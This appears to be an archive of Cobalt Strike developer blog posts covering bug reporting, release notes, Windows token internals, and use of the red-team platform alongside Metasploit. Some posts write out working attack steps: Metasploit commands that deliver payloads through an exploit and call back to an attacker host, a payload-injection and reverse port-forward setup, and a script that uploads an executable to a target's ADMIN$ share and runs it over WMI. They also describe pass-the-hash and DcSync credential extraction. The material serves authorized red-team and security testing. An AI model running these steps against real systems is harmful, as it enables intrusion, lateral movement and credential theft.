h1

A Quick Guide to Bug Reports

January 27, 2016

One of the hardest parts of being a developer is working with bug reports and support requests disguised as bug reports. Some people write very good bug reports. These reports give me the information I need to reproduce the problem and advise from there. Others offer a vague description of their problem with no context. These cases are tough.

Recently, I had a bug report for a hard to reproduce issue. The person who provided the bug report followed a guide I gave to Cobalt Strike 3.0’s beta testers. He provided everything the guide asked for. It was beautiful. I had the exact information I would try to get if I were sitting at his computer working the issue.

In this blog post, I’d like to share the bug report guide I gave to Cobalt Strike 3.0’s beta testers. If you need to send a bug report or request support, email [email protected]

1. Describe the problem with as much context as possible

When you report a bug [or request support], try to answer these questions:

1. What are you trying to do?
2. Which steps did you take to accomplish this?
3. What happened?
4. What did you expect?
5. Which steps did you take to troubleshoot it?

Here’s an example:

“I’m trying to use the DNS Beacon (windows/beacon_dns/reverse_http). I setup an A record for malwarec2.losenolove.com on my team server. I pointed NS records for profiles.losenolove.com and game.losenolove.com to malwarec2.losenolove.com. I’m not able to get a system in my customer’s environment to call back. I don’t know how to troubleshoot further.”

The above is useful. It gives me context about the problem the user is experiencing. In the case of the DNS Beacon, it’s pretty easy to troubleshoot with information about the beacon domains and the address of the team server. It also helps me to know if you’re seeing something in a test lab or a customer’s environment. When you report a bug, it’s better for both of us if you can reproduce it in a test lab. A test lab is better because then we can have a dialog about the factors in play. A customer’s environment is very hard. There are too many unknowns that can affect the outcome of some task

This example is also useful because it provides specifics about the user’s configuration from the get go. In the case of a C2-related question, listener information is key. If you have trouble sending a phish, a copy of your phishing template is useful too. Anything you can provide me that allows me to look at a question in my local lab is going to lead to better resolution of a question or bug report.

2. Your Environment

The next thing I need to know is information about your Cobalt Strike environment. It’s important for me to know which version of Cobalt Strike you’re using and which version of Java. Fortunately, Cobalt Strike 3.0 makes this very easy. Go to Help -> System Information. This will generate a system information summary for your Cobalt Strike client AND team server.

Over time, as I come up with more contextual factors I want to know about your Cobalt Strike client, I will update this feature to provide them.

systeminfo

3. Console Messages

Cobalt Strike 3.0 has a global class called MudgeSanity. It’s named this, because the purpose of this code is to help me keep my sanity. Cobalt Strike 3.x passes all notifications (routine), unexpected situations, and errors through this MudgeSanity class. Right now, the MudgeSanity class prints its messages to the Cobalt Strike team server console and to the console the client was started from. When you file a report or ask a question, it’s very helpful to provide all of the output of the Cobalt Strike client and team server in your initial query. Please don’t paraphrase this information. Screenshots, cellphone photos of your screen, and copy/paste are all equally fine.

messages

4. List of Threads and Stack Traces

If Cobalt Strike deadlocks [freezes, either the server or the client] OR if you notice Cobalt Strike is eating your CPU, it will help if you dump a list of all threads currently running in Cobalt Strike. This is easy to do on Linux with the kill command. Use ps waux | grep java to find the Java processes that are running. Use kill -3 [PID] to request the Java process dump a list of all threads with a detailed stacktrace for each. As a bonus, if this feature detects a deadlock, it will say so. If a deadlock occurs AND I have this information from both the team server and the client, I have a really good chance of fixing it.

threads

5. Memory Use

If your Cobalt Strike team server or client seems like it’s hogging memory, consider dumping a summary of your Java heap. The jmap tool that ships with Java makes this easy. The preferred output comes from jmap –histo:live [PID]. If this gives you an error, try: jmap –F –histo [PID]. These commands will dump a full summary of Java objects in memory. If you provide me with this information for both your team server and Cobalt Strike client—it will help me to track down memory leaks or memory-related performance issues.

jmap

 

h1

Real-Time Feed of Red Team Activity

January 13, 2016

There are several research projects to collect raw data from red team activity, process this data, and try to turn it into information. In this blog post, I’ll show you how to instrument a Cobalt Strike team server and generate a real-time feed of engagement activity.

Aggressor Script is the scripting engine in Cobalt Strike 3.0 and later. Aggressor Script uses the on keyword to hook different events generated by Cobalt Strike. The * event is a special event baked into Aggressor Script. The * event fires for every Cobalt Strike event.

Here’s a simple script to hook the * event and write its arguments to the events.txt file:

on * {
	local('$handle');
	$handle = openf(">>events.txt");
	println($handle, "[EVENT] $1");
	foreach $index => $argument (subarray(@_, 1)) {
		println($handle, "[Argument $index $+ ] $argument");
	}
	closef($handle);
}

The first parameter to the * event is the event name. Each parameter after that are the fired event’s original parameters.

To load this script: save the example in events.cna. Go to View -> Script Console in Cobalt Strike. Type load /path/to/events.cna. The script is now loaded.

As new events come in, this script will append them to the events.txt file. What gets fired as a Cobalt Strike event? Everything! Input to a Beacon, by any user, is an event. Output to a Beacon is an event. New content hosted on Cobalt Strike’s web server is an event. You get the idea.

Feel free to modify this script to feed your local data collection monster.

h1

Interoperability with the Metasploit Framework

January 5, 2016

Cobalt Strike 3.0 is a stand-alone platform for Adversary Simulations and Red Team Operations. It doesn’t depend on the Metasploit Framework. That said, the Metasploit Framework is a wealth of capability and there are places where it adds value. I didn’t forget this in my design of Cobalt Strike 3.0. In this blog post, I’ll show you how to use Cobalt Strike and the Metasploit Framework together. Even though they are two separate entities, there is a lot of synergy between these platforms.

Deliver Beacon with a Metasploit Framework Exploit

You may use a Metasploit Framework exploit to deliver Cobalt Strike’s Beacon. The Beacon payload is compatible with the Metasploit Framework’s staging protocol. To deliver a Beacon with a Metasploit Framework exploit, type:

use exploit/multi/browser/adobe_flash_hacking_team_uaf
set PAYLOAD windows/meterpreter/reverse_http
set LHOST [Cobalt Strike's IP or hostname]
set LPORT 80
set DisablePayloadHandler True
set PrependMigrate True
exploit -j

Here’s an explanation of these commands:

1. Use the exploit module you want to deliver Beacon with.

2. Set PAYLOAD to windows/meterpreter/reverse_http for an HTTP Beacon. Set PAYLOAD to windows/meterpreter/reverse_https for an HTTPS Beacon. You’re not really delivering Meterpreter here. You’re telling the Metasploit Framework to generate an HTTP (or HTTPS) stager to download a payload from the specified LHOST/LPORT.

3. Set LHOST and LPORT to point to your Cobalt Strike listener. Cobalt Strike will know what to do when it receives a request from a Metasploit Framework stager.

4. Set DisablePayloadHandler to True. This tells the Metasploit Framework that it does not need to create a handler within the Metasploit Framework to service a payload connection.

5. Set PrependMigrate to True. This option tells the Metasploit Framework to modify its stager to migrate to another process, immediately after exploitation. This option is very important for client-side attacks. It allows your session to survive if the exploited application crashes or closes.

Tunnel Metasploit Framework Modules through Beacon

Cobalt Strike’s Beacon payload has had SOCKS proxy pivoting since 2013. This form of pivoting makes it easy to tunnel many tools through Beacon. To tunnel the Metasploit Framework through Beacon:

1. Interact with a Beacon and type socks 1234 to create a SOCKS proxy server on port 1234 of your Cobalt Strike team server system.

2. Type sleep 0 in the Beacon console to request that the Beacon become interactive. Tunneling traffic with minimal latency requires that Beacon regularly connects to your controller to exchange read, write, and connect information.

3. Go to View -> Proxy Pivots in Cobalt Strike. This will open a tab that presents all SOCKS proxy servers on your Cobalt Strike team server.

4. Highlight the desired SOCKS pivot and press Tunnel. This will open a dialog that contains a one-liner to paste into the Metasploit Framework.

5. Go to msfconsole and paste in that one-liner. This one-liner will globally set the Metasploit Framework’s Proxies option. This option lets you specify a SOCKS proxy server to send the Metasploit Framework module through.

Use the Metasploit Framework. The exploits and modules you run will tunnel through your Beacon.

If you want to stop tunneling Metasploit through your Beacon, type unsetg Proxies in the Metasploit Framework console.

Spawn Meterpreter from Beacon

Cobalt Strike’s session passing features target listeners. A listener is a name tied to a payload handler and its configuration information. A foreign listener is an alias for a payload handler located elsewhere. Cobalt Strike can pass sessions to the Metasploit Framework with foreign listeners. To create a foreign listener for Meterpreter:

1. Go to Cobalt Strike -> Listeners

2. Press Add

3. Set the Payload type to windows/foreign/reverse_https for HTTPS Meterpreter. Cobalt Strike also has reverse_http and reverse_tcp foreign listeners too.

4. Set The Host and Port of the listener to the LHOST and LPORT of your Meterpreter handler.

5. Press Save

You now have a Cobalt Strike listener that refers to your Metasploit Framework payload handler. You can use this listener with any of Cobalt Strike’s features. To pass a session from Beacon, go to [beacon] -> Spawn and choose your foreign listener.

Spawn Beacon from Meterpreter

To spawn a Beacon from a Meterpreter session use the payload_inject exploit to deliver your Beacon. Here are the steps to do this:

1. Use the exploit/windows/local/payload_inject module

2. Set PAYLOAD to windows/meterpreter/reverse_http for an HTTP Beacon. Set PAYLOAD to windows/meterpreter/reverse_https for an HTTPS Beacon.

3. Set LHOST and LPORT to point to your Cobalt Strike listener.

4. Set DisablePayloadHandler to True.

5. Set SESSION to the session ID of your Meterpreter session

And, here’s what this looks like in the Metasploit Framework console:

use exploit/windows/local/payload_inject
set PAYLOAD windows/meterpreter/reverse_http
set LHOST [IP address of compromised system]
set LPORT 80
set SESSION 1
set DisablePayloadHandler True
exploit –j

Tunnel Meterpreter through Beacon

Use Beacon’s rportfwd command to turn a system, compromised with Beacon, into a redirector for your Meterpreter sessions. The rportfwd command creates a server socket on a compromised system. Any connections to this server socket result in a new connection to a forward host/port. Traffic between the forward host/port and the connection to the compromised system is tunneled through Beacon.

To create a Meterpreter handler that rides through a Beacon reverse port forward:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST [IP address of compromised system]
set LPORT 8443
set ExitOnSession False
exploit –j

These commands create a Meterpreter HTTPS handler, bound to port 8443, that stages and connects to the IP address of our pivot host.

To create a reverse port forward in Cobalt Strike:

1. Interact with a Beacon on the compromised system you want to pivot through.

2. Use sleep 0 to make the Beacon check-in multiple times each second

3. Type rportfwd 8443 [IP of Metasploit system] 8443 to create a reverse port forward.

You now have a server socket, bound on the compromised system, that forwards connections to your Meterpreter handler. If you want to use that Meterpreter handler from Cobalt Strike, create a foreign listener.

Optionally, use Cobalt Strike’s Pivot Listeners feature to create a reverse port forward and a foreign listener in one step.

Parts 3, 4, and 7 of Advanced Threat Tactics cover the concepts in this blog post.

h1

Cobalt Strike 2015: An Offensive Platform is Born

December 30, 2015

It’s hard to believe we’re at the end of 2015 and on to 2016. I’ve now had a product on the market for three and a half years. That’s like 27 dog years! It’s a long time for a hacking tool too. 2015 was an exciting year here. Our industry is changing and Cobalt Strike has made changes to keep pace with it.

This year, I pushed five major releases of Cobalt Strike. Here are some of the highlights:

The April 2015 release of Cobalt Strike re-architected Beacon to support post-exploitation jobs. A job is a feature that injects into another process and delivers its results to your Beacon. This allows Beacon to stay, safe and sound, in one process and gather post-exploitation data from another. Beacon’s keystroke logger, screenshot tool, and other features use this mechanism. This release also added native mimikatz and hashdump to Beacon as well.

Cobalt Strike’s July 2015 release took the SMB Beacon to a new level. The SMB Beacon uses a named pipe to receive commands from and relay output through another Beacon. Great feature, but it always had one problem: it didn’t fit into any workflows. This release added a named pipe stager to deliver the SMB Beacon with a lateral movement attack. This release also added lateral movement automation to Beacon. Finally, this release allowed Beacon features to target an SMB Beacon listener for privilege escalation. This is pretty significant when you think about it. If you’re an external actor, it’s not trivial to get a SYSTEM-level session to egress. These changes solve this problem. You simply chain that new SYSTEM-level session through another session that can already get out. This July release also added reverse port forwards to Beacon too. Overall, this release generated more “holy crap!” emails from customers than any other release in the past.

September 2015 saw the introduction of Cobalt Strike 3.0. This release was the pinnacle of this year’s efforts. Cobalt Strike 3.0 was a ground-up rewrite of the Cobalt Strike team server and client without dependence on the Metasploit Framework.

I opted to go in this direction after Cobalt Strike 2.1. This was the release where PowerShell became easy to use through Beacon. After 2.1, it was possible [and in some cases desirable] to operate entirely through Beacon. Much of my post-2.1 work with Cobalt Strike added to Beacon’s feature set. The 3.0 release changed Cobalt Strike’s user interface to expose Beacon’s features and build workflows on top of it. The 3.0 release also overhauled logging and re-imagined the reporting features for the red team problem set. It also introduced a workflow for user exploitation at scale.

And then there’s the Advanced Threat Tactics course. This course came out in September 2015 with Cobalt Strike’s 3.0 release. I was really happy with 2013’s Tradecraft course. At the time it came out, it was the best material I had. Cobalt Strike 3.0 was a big change and with that change had to come a new course. The Advanced Threat Tactics covers a full end-to-end process for targeted phishing, post-exploitation, privilege escalation, reconnaissance, lateral movement, pivoting, and evasion. This course is nearly six hours of material.

2015 was the year Cobalt Strike became an offensive platform in its own right. This didn’t happen a moment too soon. Large companies and government entities are either standing up red teams or reinventing the red teams they have. Forward leaning consulting firms are building services to help customers understand how their full security program stands up to realistic attacks. These evolved teams have needs that are different from those that drove vulnerability assessment and penetration testing tools for the past 10+ years. Cobalt Strike’s 2015 releases were laser focused on these needs and where these teams are going with their offensive efforts into 2016 and beyond. Pretty exciting.

h1

Windows Access Tokens and Alternate Credentials

December 16, 2015

I’d like to call your attention to the humble runas.exe program on Windows. This program allows a Windows user to spawn another program with another user’s credentials.

runas1

It’s a little painful to use runas.exe from a remote access tool. This program doesn’t accept a password as an argument. Cobalt Strike’s Beacon has a built-in runas program to give you similar functionality.

The process that runas starts has an access token populated with the same single sign-on information you would expect from access tokens made by a normal login. You can steal a token from a program started by runas and use that token to interact with local and remote resources.

The runas capability is great for situations where you want to create a process as a local user on the current system or as a domain user from a trusted domain. This covers a lot of situations, but not all.

What happens if you need to interact with a remote resource as a local user on another system? How do you interact with a remote resource as a domain user when there’s no trust relationship with that domain? These problems have a solution.

The Curious /NETONLY Flag

The runas program has a /NETONLY flag. This flag tells runas that the specified credentials are for remote access only. Windows will not try to validate these credentials. Instead, Windows will create a copy of your current access token and update it to use the new credentials when Windows interacts with a remote resource. Windows will then create the new process with this doctored token.

This has a curious effect. The new program is run as the current user. On the current system, there is no change in your rights, permissions, or identity. But, when you interact with a remote resource, you are the specified user.

runas2

Logon Sessions and other Access Token Trivia

I hope I’ve raised some questions so far. Questions like, how does runas.exe /NETONLY work?

Windows manages identity and security information in a structure known as an Access Token. These data structures contain things like: your username, groups, privileges, and other information. An Access Token may also contain information to restrict your rights. When working with Windows, it’s important to understand that an access token isn’t a single thing that represents a user’s identity. An access token is an instantiation of an identity with a lot of variables thrown in.

An easy example of this is User Account Control. A local administrator user may run most processes in a medium integrity context. The tokens associated with their processes have an Integrity level field set to 0x2000 which is SECURITY_MANDATORY_MEDIUM_RID. Processes run by the same local administrator in a high integrity context have access tokens with their Integrity level set to 0x3000. These tokens represent the same user, but different rights. The point here is that Windows may have multiple access tokens, with different configurations, for a user and that’s normal.

This blog post isn’t a deep dive into access tokens though. It’s a walk down the garden path about single sign-on information. Let’s jump into that.

An Access Token contains your identity on the current system and it states what you can and can’t do on the current system. An Access Token also references the information Windows uses to automatically authenticate to remote systems.

Now I hope you’re asking: what part of an Access Token determines who you are on a remote system? This question is the whole point of this blog post.

Each Access Token references a Logon Session. The Logon Session references credential material for single sign-on purposes. When Windows authenticates to a remote system, it uses the Logon Session’s credential material to authenticate. A Logon Session is made after authentication is successful. Logon Sessions go away when there are no more tokens that reference them.

When you use the /NETONLY flag with runas.exe, Windows will create a new Logon Session with the credential material you provide. It will then copy your current token and substitute the default logon session for the new one. The specified program is then run with this new token.

The program run by runas looks like it’s running as your current user. That’s because it is. The new program was run with a copy of your user’s access token! When you interact with a network resource, Windows does not authenticate as your Access Token’s user. Windows uses the credential information referred to by the new Logon Session. In this case, the credential material in this new Logon Session does not necessarily match the identity in your current Access Token.

If you’d like to see a list of Logon Sessions on your current system, take a look at the logonsessions utility by Mark Russinovich.

logonsessions

Implications for Beacon Users

Beacon’s runas command is similar to the default behavior of the runas program built into Windows. What about the /NETONLY flag? Beacon has something like this too. It’s the make_token command.

The make_token command uses the LogonUser function in Windows with the LOGON32_LOGON_NEW_CREDENTIALS flag. This API creates a Logon Session from the specified credentials, copies your Access Token, associates the new Logon Session with the new Access Token, and makes this new Access Token available. Beacon then impersonates this new token.

What’s the effect of this? You have a new token that is locally indistinguishable from your previous token. When you use Beacon’s getuid command to query your token’s identity, you get back the current user. When you type shell whoami, you get back the current user.

What happens when you interact with a network resource? Windows authenticates with the credentials you specified to make_token. Why? Because the Logon Session in the current Access Token references the credentials you provided to make_token. In this case, the Logon Session information does not match the local identity of your current token.

The make_token command in Beacon works this way to allow you to use a local account from another system to interact with it. This mechanism also allows you to authenticate to a system as a domain user when there’s no trust relationship with that domain.

The pth command in Beacon is a similar story. The pth command asks mimikatz to: (1) create a new Logon Session, (2) update the credential material in that Logon Session with the domain, username, and password hash you provided, and (3) copy your Access Token and make the copy refer to the new Logon Session. Beacon then impersonates the token made by these steps and you’re ready to pass-the-hash.

Again, with pass-the-hash, the side effects are similar. The new token is locally indistinguishable from your current user. That’s because you are your current user! When you interact with a network resource, Windows uses the material from the Logon Session to authenticate. In this case, it’s the information you provided to the pth command.

Frequently Asked Questions

This blog post is the result of many questions I’ve had about the make_token and pth commands in Beacon. Common questions include: Do pth and make_token work with local accounts? Yes. Do pth and make_token work with domain user credentials when there’s no trust relationship with the specified domain? Yes. Why do the make_token and pth tokens report themselves as the current user? That’s just the way it is.

Windows is a complicated animal. I appreciate that its design sometimes results in non-obvious or confusing behavior. I hope this blog post clears up some of the confusion about the make_token and pth commands for you.

If you’d like to learn more about this topic, to include how to use make_token and pth in an operation, consult the Lateral Movement lecture from the Advanced Threat Tactics course.

h1

Post-Exploitation Only (Not Really)

December 9, 2015

During a recent conversation, a friend had mentioned that they saw Cobalt Strike as a post-exploitation only tool. This strikes me as a little odd. Cobalt Strike has always had all the features necessary to execute a full attack chain.

The system profiler, spear phishing tool, and user-driven attacks support a social engineering process designed to get a foothold into a modern enterprise.

The Beacon payload integrates well with the above tools. It stages over HTTP, HTTPS, and DNS TXT records. Once the payload is in memory, Beacon can download its tasks over DNS A records, DNS TXT records, HTTP, and HTTPS.

Once on a target, Beacon’s post-exploitation capability gives you seamless access to PowerShell, mimikatz, and a slew of other organic capability. These tools are enough to exfiltrate data, capture user activity, and explore options for privilege escalation.

Beacon is also quite adept at target discovery. Beacon has a port scanner that deploys to the agent as a Reflective DLL. This port scanner runs on target and reports intermediate results during each check-in. Beacon also provides organic equivalents for many net commands building on the Windows Network Management API. I also tend to favor the use of PowerView to understand large environments.

What about lateral movement? Beacon has automation for this too. The psexec, psexec_psh, winrm, and wmi commands are present. Like other Cobalt Strike features, these tools run in the Beacon agent. Don’t worry, the ability to leverage different trusts is present. Beacon can steal tokens, use credentials, pass-the-hash, and leverage Kerberos tickets.

If you’re at a loss about how this is possible, without the Metasploit Framework, take a look at this talk:

What about pivoting? Cobalt Strike can pivot too. Which option makes sense depends on your definition of pivoting. If you would like to control your Beacon agents through a foothold Beacon, you can do that. Beacon uses Windows named pipes to control Beacons through another Beacon. You can chain multiple accesses together this way without any problems. This feature is ideal for privilege escalation; you don’t have to worry about egress for the elevated session. This feature is also beautiful for lateral movement; named pipe communication is encapsulated in the SMB protocol. It blends in well. Many of my customers rave about this particular feature and how easy it is with Cobalt Strike 3.0 and later.

Chaining Beacons together is one thing, what about tunneling tools through Beacon? Cobalt Strike has you covered here too. You can use SOCKS pivoting to tunnel tools through Beacon. You can also setup reverse port forwards that ride backwards through your Beacon communication path too.

When I look at the above capability, I ask: how is this post-exploitation only? Cobalt Strike has the tools to get a foothold with a targeted phishing attack, operate through that foothold, expand access, pivot, and exfiltrate data.

Now, let’s shift the question: Where is the tool to scan for vulnerabilities in web applications? Why doesn’t Cobalt Strike import vulnerability scan results? Where are the remote memory corruption exploits to verify vulnerability scan results? Why can’t you run NMap from Cobalt Strike? Cobalt Strike doesn’t do these things. Cobalt Strike is not a toolset for vulnerability verification. It never was. It never will be.

What is Cobalt Strike for then? It’s for red team operations and adversary simulations. These services require the ability to work quietly as a remote actor in a customer’s network. This problem set and the features it requires are different from the features needed in a vulnerability verification tool.

The Advanced Threat Tactics course covers these topics in depth.

h1

Cobalt Strike 3.1 – Scripting Beacons

December 2, 2015

Cobalt Strike 3.1 is now available. This release adds a lot of polish to the 3.x codebase and addresses several items from user feedback.

Aggressor Script

Aggressor Script is the scripting engine in Cobalt Strike 3.0 and later. It allows you to extend the Cobalt Strike client with new features and automate your engagements with scripts that respond to events.

Scripting was a big focus in the Cobalt Strike 3.1 development cycle. You now have functions that map to most of Beacon’s commands. Scripts can also define new Beacon commands with the alias keyword too.

alias wmi-alt {
	local('$mydata $myexe');
	
	# check if our listener exists
	if (listener_info($3) is $null) {
		berror("Listener $3 does not exist");
		return;
	}
	
	# generate our executable artifact
	$mydata = artifact($3, "exe", true);
		
	# generate a random executable name
	$myexe  = int(rand() * 10000) . ".exe";
		
	# state what we're doing.
	btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3, $2) . ") via WMI");
	
	# upload our executable to the target
	bupload_raw($1, "\\\\ $+ $2 $+ \\ADMIN$\\ $+ $myexe", $mydata);
		
	# use wmic to run myexe on the target
	bshell($1, "wmic /node: $+ $2 process call create \"c:\\windows\\ $+ $myexe $+ \"");
	
	# complete staging process (for bind_pipe listeners)
	bstage($1, $2, $3);
}

This release also introduces the agscript command in Cobalt Strike’s Linux package. This command runs a headless Cobalt Strike client designed to host your scripts.

While I can’t say the scripting work is complete yet (it’s not); this release is a major step forward for Aggressor Script. You can learn more about Aggressor Script by reading its documentation.

DcSync

In August 2015, mimikatz introduced a dcsync command, authored by Benjamin Delpy and Vincent LE TOUX. This command uses Windows features for domain replication to pull the password hash for the user you specify. DcSync requires a trust relationship with the DC (e.g., a domain admin token). Think of this as a nice safe way to extract a krbtgt hash.

Cobalt Strike 3.1 integrates a mimikatz build with the dcsync functionality. Beacon also gained a dcsync command that populates the credential model with the recovered hash.

Data Munging

Cobalt Strike 3.1 introduces the ability to import hosts and services from an NMap XML file. Cobalt Strike 3.1 also gives you the ability to export credentials in a PWDump file.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.1. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

Follow

Get every new post delivered to your Inbox.

Join 17,844 other followers